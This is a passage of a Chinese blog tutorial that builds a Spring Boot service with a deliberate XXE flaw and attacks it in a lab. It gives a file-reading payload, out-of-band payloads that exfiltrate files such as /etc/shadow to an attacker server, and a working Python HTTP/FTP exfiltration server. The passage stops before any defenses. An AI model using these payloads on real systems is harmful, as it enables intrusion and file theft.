<!DOCTYPE html>





<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 3.9.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=7.4.0">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32.png?v=7.4.0">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16.png?v=7.4.0">
  <link rel="mask-icon" href="/images/avatar.svg?v=7.4.0" color="#222">
  <link rel="alternate" href="/atom.xml" title="Anemone's Blog" type="application/atom+xml">
  <meta name="google-site-verification" content="Re5JdegRYzNFco-rC9lYIsvSWIgh5JvyfhuEaZCeFCk">
  <meta name="baidu-site-verification" content="opTC8YN3Pn">

<link rel="stylesheet" href="/css/main.css?v=7.4.0">


<link rel="stylesheet" href="https://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css">


<script id="hexo-configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Pisces',
    version: '7.4.0',
    exturl: false,
    sidebar: {"position":"left","display":"post","offset":12,"onmobile":false},
    copycode: {"enable":false,"show_result":false,"style":null},
    back2top: {"enable":true,"sidebar":false,"scrollpercent":false},
    bookmark: {"enable":false,"color":"#222","save":"auto"},
    fancybox: false,
    mediumzoom: false,
    lazyload: false,
    pangu: false,
    algolia: {
      appID: 'GB90MXPJ1C',
      apiKey: '05d808da3baf50ac2f2fad2dc3a3cd8f',
      indexName: 'dev_blog',
      hits: {"per_page":20},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    },
    localsearch: {"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":true,"preload":false},
    path: 'search.xml',
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    translation: {
      copy_button: '复制',
      copy_success: '复制成功',
      copy_failure: '复制失败'
    },
    sidebarPadding: 40
  };
</script>

  <meta name="description" content="实现包含XXE漏洞的服务新建项目首先实现一个包含XXE漏洞的服务吧，新建一个SpringBoot项目：建好之后目录如下定义Controller新建XXEController.java：1234567891011121314151617181920212223@RestControllerpublic class XXEController &amp;#123;    @PostMapping(value">
<meta name="keywords" content="java,xxe">
<meta property="og:type" content="article">
<meta property="og:title" content="实现包含XXE漏洞的服务、攻击以及防御方法">
<meta property="og:url" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/index.html">
<meta property="og:site_name" content="Anemone&#39;s Blog">
<meta property="og:description" content="实现包含XXE漏洞的服务新建项目首先实现一个包含XXE漏洞的服务吧，新建一个SpringBoot项目：建好之后目录如下定义Controller新建XXEController.java：1234567891011121314151617181920212223@RestControllerpublic class XXEController &amp;#123;    @PostMapping(value">
<meta property="og:locale" content="zh-CN">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548150750904.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548154022764.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548159244547.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548159377847.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548210905577.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548160653404.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548225798806.png">
<meta property="og:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548226937710.png">
<meta property="og:updated_time" content="2020-06-05T02:06:08.809Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="实现包含XXE漏洞的服务、攻击以及防御方法">
<meta name="twitter:description" content="实现包含XXE漏洞的服务新建项目首先实现一个包含XXE漏洞的服务吧，新建一个SpringBoot项目：建好之后目录如下定义Controller新建XXEController.java：1234567891011121314151617181920212223@RestControllerpublic class XXEController &amp;#123;    @PostMapping(value">
<meta name="twitter:image" content="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/1548150750904.png">
  <link rel="canonical" href="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome: false,
    isPost: true,
    isPage: false,
    isArchive: false
  };
</script>

  <title>实现包含XXE漏洞的服务、攻击以及防御方法 | Anemone's Blog</title>
  








  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .logo,
  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-CN">
  <div class="container use-motion">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-meta">

    <div>
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Anemone's Blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
  </div>

  <div class="site-nav-toggle">
    <button aria-label="切换导航栏">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>


<nav class="site-nav">
  
  <ul id="menu" class="menu">
      
      
      
        
        <li class="menu-item menu-item-home">
      
    

    <a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-about">
      
    

    <a href="/about/" rel="section"><i class="fa fa-fw fa-user"></i>关于</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-tags">
      
    

    <a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-categories">
      
    

    <a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>

  </li>
      
      
      
        
        <li class="menu-item menu-item-archives">
      
    

    <a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>

  </li>
      <li class="menu-item menu-item-search">
        <a href="javascript:;" class="popup-trigger">
        
          <i class="fa fa-search fa-fw"></i>搜索</a>
      </li>
    
  </ul>

</nav>
  <div class="site-search">
    <div class="popup search-popup">
    <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input" id="search-input"></div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div class="algolia-results">
  <div id="algolia-stats"></div>
  <div id="algolia-hits"></div>
  <div id="algolia-pagination" class="algolia-pagination"></div>
</div>

  
</div>
<div class="search-pop-overlay"></div>

  </div>
</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>
  <div class="reading-progress-bar"></div>


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
            

          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
      <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block post">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">实现包含XXE漏洞的服务、攻击以及防御方法

          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-01-22 17:44:53" itemprop="dateCreated datePublished" datetime="2019-01-22T17:44:53+08:00">2019-01-22</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-06-05 10:06:08" itemprop="dateModified" datetime="2020-06-05T10:06:08+08:00">2020-06-05</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/Web安全-XXE/" itemprop="url" rel="index"><span itemprop="name">Web安全-XXE</span></a></span>

                
                
              
            </span>
          

          
            <span id="/xxe-XXE漏洞原理、攻击方式以及防御方法/" class="post-meta-item leancloud_visitors" data-flag-title="实现包含XXE漏洞的服务、攻击以及防御方法" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <h1 id="实现包含XXE漏洞的服务"><a href="#实现包含XXE漏洞的服务" class="headerlink" title="实现包含XXE漏洞的服务"></a>实现包含XXE漏洞的服务</h1><h2 id="新建项目"><a href="#新建项目" class="headerlink" title="新建项目"></a>新建项目</h2><p>首先实现一个包含XXE漏洞的服务吧，新建一个SpringBoot项目：<br><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548150750904.png" alt="1548150750904"></p><p>建好之后目录如下</p><p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548154022764.png" alt="1548154022764"></p><h2 id="定义Controller"><a href="#定义Controller" class="headerlink" title="定义Controller"></a>定义Controller</h2><p>新建XXEController.java：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">XXEController</span> </span>&#123;</span><br><span class="line">    <span class="meta">@PostMapping</span>(value = <span class="string">"/xxe"</span>)</span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">xxe</span><span class="params">(@RequestBody String userString)</span> <span class="keyword">throws</span> ParserConfigurationException, IOException, SAXException </span>&#123;</span><br><span class="line">        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();</span><br><span class="line">        DocumentBuilder db = dbf.newDocumentBuilder();</span><br><span class="line">        Document doc = db.parse(<span class="keyword">new</span> ByteArrayInputStream(userString.getBytes(<span class="string">"utf-8"</span>)));</span><br><span class="line">        String username = getValueByTagName(doc, <span class="string">"username"</span>);</span><br><span class="line">        String password = getValueByTagName(doc, <span class="string">"password"</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"Username: "</span> + username + <span class="string">"Password: "</span> + password;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">private</span> String <span class="title">getValueByTagName</span><span class="params">(Document doc, String tagName)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (doc == <span class="keyword">null</span> || tagName.equals(<span class="keyword">null</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        NodeList pl = doc.getElementsByTagName(tagName);</span><br><span class="line">        <span class="keyword">if</span> (pl != <span class="keyword">null</span> &amp;&amp; pl.getLength() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> pl.item(<span class="number">0</span>).getTextContent();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><a id="more"></a>




<h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>以上一个脆弱的服务器就做好了，用postman发个包，可以看到服务器返回了期待内容：</p>
<p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548159244547.png" alt="1548159244547"></p>
<h1 id="攻击"><a href="#攻击" class="headerlink" title="攻击"></a>攻击</h1><h2 id="有回显的XXE攻击"><a href="#有回显的XXE攻击" class="headerlink" title="有回显的XXE攻击"></a>有回显的XXE攻击</h2><p>新建<code>d:/flag/flag.txt</code>文件，内容为<code>flag:1234</code></p>
<p>通过外部实体构造Payload:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;</span><br><span class="line"></span><br><span class="line">&lt;!DOCTYPE a [</span><br><span class="line">	&lt;!ENTITY xxe SYSTEM &quot;file:///d:/flag/flag.txt&quot;&gt;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;user&gt;</span><br><span class="line">	&lt;username&gt;&amp;xxe;&lt;/username&gt;</span><br><span class="line">	&lt;password&gt;passw0rd&lt;/password&gt;</span><br><span class="line">&lt;/user&gt;</span><br></pre></td></tr></table></figure>
<p>看到flag.txt内容已经被打印：</p>
<p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548159377847.png" alt="1548159377847"></p>
<h2 id="无回显的XXE攻击"><a href="#无回显的XXE攻击" class="headerlink" title="无回显的XXE攻击"></a>无回显的XXE攻击</h2><p>攻击者在自己服务器上构造<code>evil.dtd</code>，并开启http服务（这里假设为127.0.0.1:8000）：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ENTITY % payload &quot;&lt;!ENTITY &amp;#x25; send SYSTEM &apos;http://127.0.0.1:8000/%file;&apos;&gt;&quot;&gt;</span><br><span class="line">%payload;</span><br><span class="line">%send;</span><br></pre></td></tr></table></figure>
<p>再给靶机发送如下payload:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE data [</span><br><span class="line">  &lt;!ENTITY % file SYSTEM &quot;file:///d:/flag/flag.txt&quot;&gt;</span><br><span class="line">  &lt;!ENTITY % dtd SYSTEM &quot;http://127.0.0.1:8000/evil.dtd&quot;&gt;</span><br><span class="line">  %dtd;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;data&gt;&amp;send;&lt;/data&gt;</span><br></pre></td></tr></table></figure>
<p>发包，看到服务器报错：</p>
<p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548210905577.png" alt="1548210905577"></p>
<p>同时在攻击机上可以看到文件内容：</p>
<p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548160653404.png" alt="1548160653404"></p>
<h2 id="使用ftp进行无回显的攻击"><a href="#使用ftp进行无回显的攻击" class="headerlink" title="使用ftp进行无回显的攻击"></a>使用ftp进行无回显的攻击</h2><p>使用ftp的好处是若服务是java写的可以列目录和获取多行文件（但是我这里在win和linux上都没有复现成功，怀疑是java库的版本问题）。</p>
<p>使用<code>mvn clean package</code>打包出jar</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">λ mvn clean package</span><br><span class="line">[WARNING]</span><br><span class="line">[WARNING] Some problems were encountered <span class="keyword">while</span> building the effective settings</span><br><span class="line">[WARNING] expected START_TAG or END_TAG not TEXT (position: TEXT seen ...&lt;/repositories&gt;\n\u3000\u3000\u3000 &lt;!-- \u63d2\u4ef6\u4ed3\u5e93 --&gt;\n      &lt;p... @232:9)  @ D:\Store\document\all_my_work\java_lib\apache-maven-3.5.0\bin\..\conf\settings.xml, line 232, column 9</span><br><span class="line">[WARNING]</span><br><span class="line">[INFO] Scanning <span class="keyword">for</span> projects...</span><br><span class="line">[INFO]</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br><span class="line">[INFO] Building xxedemo 0.0.1-SNAPSHOT</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br><span class="line">...</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br><span class="line">[INFO] BUILD SUCCESS</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br><span class="line">[INFO] Total time: 10.617 s</span><br><span class="line">[INFO] Finished at: 2019-01-23T14:19:30+08:00</span><br><span class="line">[INFO] Final Memory: 37M/324M</span><br><span class="line">[INFO] ------------------------------------------------------------------------</span><br></pre></td></tr></table></figure>
<p>在linux上启动漏洞服务器：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ java -jar target/xxedemo-0.0.1-SNAPSHOT.jar</span><br></pre></td></tr></table></figure>
<p>准备脚本<code>xxeftp.py</code>:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> SocketServer</span><br><span class="line"><span class="keyword">from</span> threading <span class="keyword">import</span> Thread</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">from</span> sys <span class="keyword">import</span> argv</span><br><span class="line"></span><br><span class="line">logging.basicConfig(filename=<span class="string">'server-xxe-ftp.log'</span>,level=logging.DEBUG)</span><br><span class="line"></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">The XML Payload you should send to the server!</span></span><br><span class="line"><span class="string">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></span><br><span class="line"><span class="string">&lt;!DOCTYPE data [</span></span><br><span class="line"><span class="string">  &lt;!ENTITY % file SYSTEM "file:///etc/shadow"&gt;</span></span><br><span class="line"><span class="string">  &lt;!ENTITY % dtd SYSTEM "http://x.x.x.x:8888/evil.dtd"&gt;</span></span><br><span class="line"><span class="string">  %dtd;</span></span><br><span class="line"><span class="string">]&gt;</span></span><br><span class="line"><span class="string">&lt;data&gt;&amp;send;&lt;/data&gt;</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">"""&lt;!ENTITY % all "&lt;!ENTITY send SYSTEM 'ftp://&#123;&#125;:&#123;&#125;/%file;'&gt;"&gt;</span></span><br><span class="line"><span class="string">%all;"""</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">wlog</span><span class="params">(_str)</span>:</span></span><br><span class="line">    <span class="keyword">print</span> _str</span><br><span class="line">    logging.info(<span class="string">"&#123;&#125;\n"</span>.format(_str))</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">WebServer</span><span class="params">(SocketServer.BaseRequestHandler)</span>:</span></span><br><span class="line">    <span class="string">"""</span></span><br><span class="line"><span class="string">    Request handler for our webserver.</span></span><br><span class="line"><span class="string">    """</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">handle</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="string">"""</span></span><br><span class="line"><span class="string">        Blanketly return the XML payload regardless of who's asking.</span></span><br><span class="line"><span class="string">        """</span></span><br><span class="line">        resp = <span class="string">"""HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\nContent-length: &#123;&#125;\r\n\r\n&#123;&#125;\r\n\r\n"""</span>.format(len(payload), payload)</span><br><span class="line">        <span class="comment"># self.request is a TCP socket connected to the client</span></span><br><span class="line">        self.data = self.request.recv(<span class="number">4096</span>).strip()</span><br><span class="line">        wlog(<span class="string">"[WEB] &#123;&#125; Connected and sent:"</span>.format(self.client_address[<span class="number">0</span>]))</span><br><span class="line">        wlog(<span class="string">"&#123;&#125;"</span>.format(self.data))</span><br><span class="line">        <span class="comment"># Send back same data but upper</span></span><br><span class="line">        self.request.sendall(resp)</span><br><span class="line">        wlog(<span class="string">"[WEB] Replied with:\n&#123;&#125;"</span>.format(resp))</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FTPServer</span><span class="params">(SocketServer.BaseRequestHandler)</span>:</span></span><br><span class="line">    <span class="string">"""</span></span><br><span class="line"><span class="string">    Request handler for our ftp.</span></span><br><span class="line"><span class="string">    """</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">handle</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="string">"""</span></span><br><span class="line"><span class="string">        FTP Java handler which can handle reading files</span></span><br><span class="line"><span class="string">        and directories that are being sent by the server.</span></span><br><span class="line"><span class="string">        """</span></span><br><span class="line">        <span class="comment"># set timeout</span></span><br><span class="line">        self.request.settimeout(<span class="number">10</span>)</span><br><span class="line">        wlog(<span class="string">"[FTP] &#123;&#125; has connected"</span>.format(self.client_address[<span class="number">0</span>]))</span><br><span class="line">        self.request.sendall(<span class="string">"220 xxe-ftp-server\n"</span>)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                self.data = self.request.recv(<span class="number">4096</span>).strip()</span><br><span class="line">                wlog(<span class="string">"[FTP] Received:\n&#123;&#125;"</span>.format(self.data))</span><br><span class="line">                <span class="keyword">if</span> <span class="string">"LIST"</span> <span class="keyword">in</span> self.data:</span><br><span class="line">                    self.request.sendall(<span class="string">"drwxrwxrwx 1 owner group          1 Feb 21 04:37 rsl\n"</span>)</span><br><span class="line">                    self.request.sendall(<span class="string">"150 Opening BINARY mode data connection for /bin/ls\n"</span>)</span><br><span class="line">                    self.request.sendall(<span class="string">"226 Transfer complete.\n"</span>)</span><br><span class="line">                <span class="keyword">elif</span> <span class="string">"USER"</span> <span class="keyword">in</span> self.data:</span><br><span class="line">                    self.request.sendall(<span class="string">"331 password please - version check\n"</span>)</span><br><span class="line">                <span class="keyword">elif</span> <span class="string">"PORT"</span> <span class="keyword">in</span> self.data:</span><br><span class="line">                    wlog(<span class="string">"[FTP] ! PORT received"</span>)</span><br><span class="line">                    wlog(<span class="string">"[FTP] &gt; 200 PORT command ok"</span>)</span><br><span class="line">                    self.request.sendall(<span class="string">"200 PORT command ok\n"</span>)</span><br><span class="line">                <span class="keyword">elif</span> <span class="string">"SYST"</span> <span class="keyword">in</span> self.data:</span><br><span class="line">                    self.request.sendall(<span class="string">"215 RSL\n"</span>)</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    wlog(<span class="string">"[FTP] &gt; 230 more data please!"</span>)</span><br><span class="line">                    self.request.sendall(<span class="string">"230 more data please!\n"</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception, e:</span><br><span class="line">            <span class="keyword">if</span> <span class="string">"timed out"</span> <span class="keyword">in</span> e:</span><br><span class="line">                wlog(<span class="string">"[FTP] Client timed out"</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                wlog(<span class="string">"[FTP] Client error: &#123;&#125;"</span>.format(e))</span><br><span class="line">        wlog(<span class="string">"[FTP] Connection closed with &#123;&#125;"</span>.format(self.client_address[<span class="number">0</span>]))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">start_server</span><span class="params">(conn, serv_class)</span>:</span></span><br><span class="line">    server = SocketServer.TCPServer(conn, serv_class)</span><br><span class="line">    t = Thread(target=server.serve_forever)</span><br><span class="line">    t.daemon = <span class="literal">True</span></span><br><span class="line">    t.start()</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> argv[<span class="number">1</span>]:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"[-] Need public IP of this server in order to receive data."</span></span><br><span class="line">        exit(<span class="number">1</span>)</span><br><span class="line">    WEB_ARGS = (<span class="string">"0.0.0.0"</span>, <span class="number">8888</span>)</span><br><span class="line">    FTP_ARGS = (<span class="string">"0.0.0.0"</span>, <span class="number">2121</span>)</span><br><span class="line">    payload = payload.format(argv[<span class="number">1</span>],FTP_ARGS[<span class="number">1</span>])</span><br><span class="line">    wlog(<span class="string">"[WEB] Starting webserver on %s:%d..."</span> % WEB_ARGS)</span><br><span class="line">    start_server(WEB_ARGS, WebServer)</span><br><span class="line">    wlog(<span class="string">"[FTP] Starting FTP server on %s:%d..."</span> % FTP_ARGS)</span><br><span class="line">    start_server(FTP_ARGS, FTPServer)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            sleep(<span class="number">10000</span>)</span><br><span class="line">    <span class="keyword">except</span> KeyboardInterrupt, e:</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"\n[+] Server shutting down."</span></span><br></pre></td></tr></table></figure>
<p>运行：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ python xxeftp.py 127.0.0.1</span><br><span class="line">[WEB] Starting webserver on 0.0.0.0:8888...</span><br><span class="line">[FTP] Starting FTP server on 0.0.0.0:2121...</span><br></pre></td></tr></table></figure>
<p>发送payload，这次我们查看<code>/etc/passwd</code>：</p>
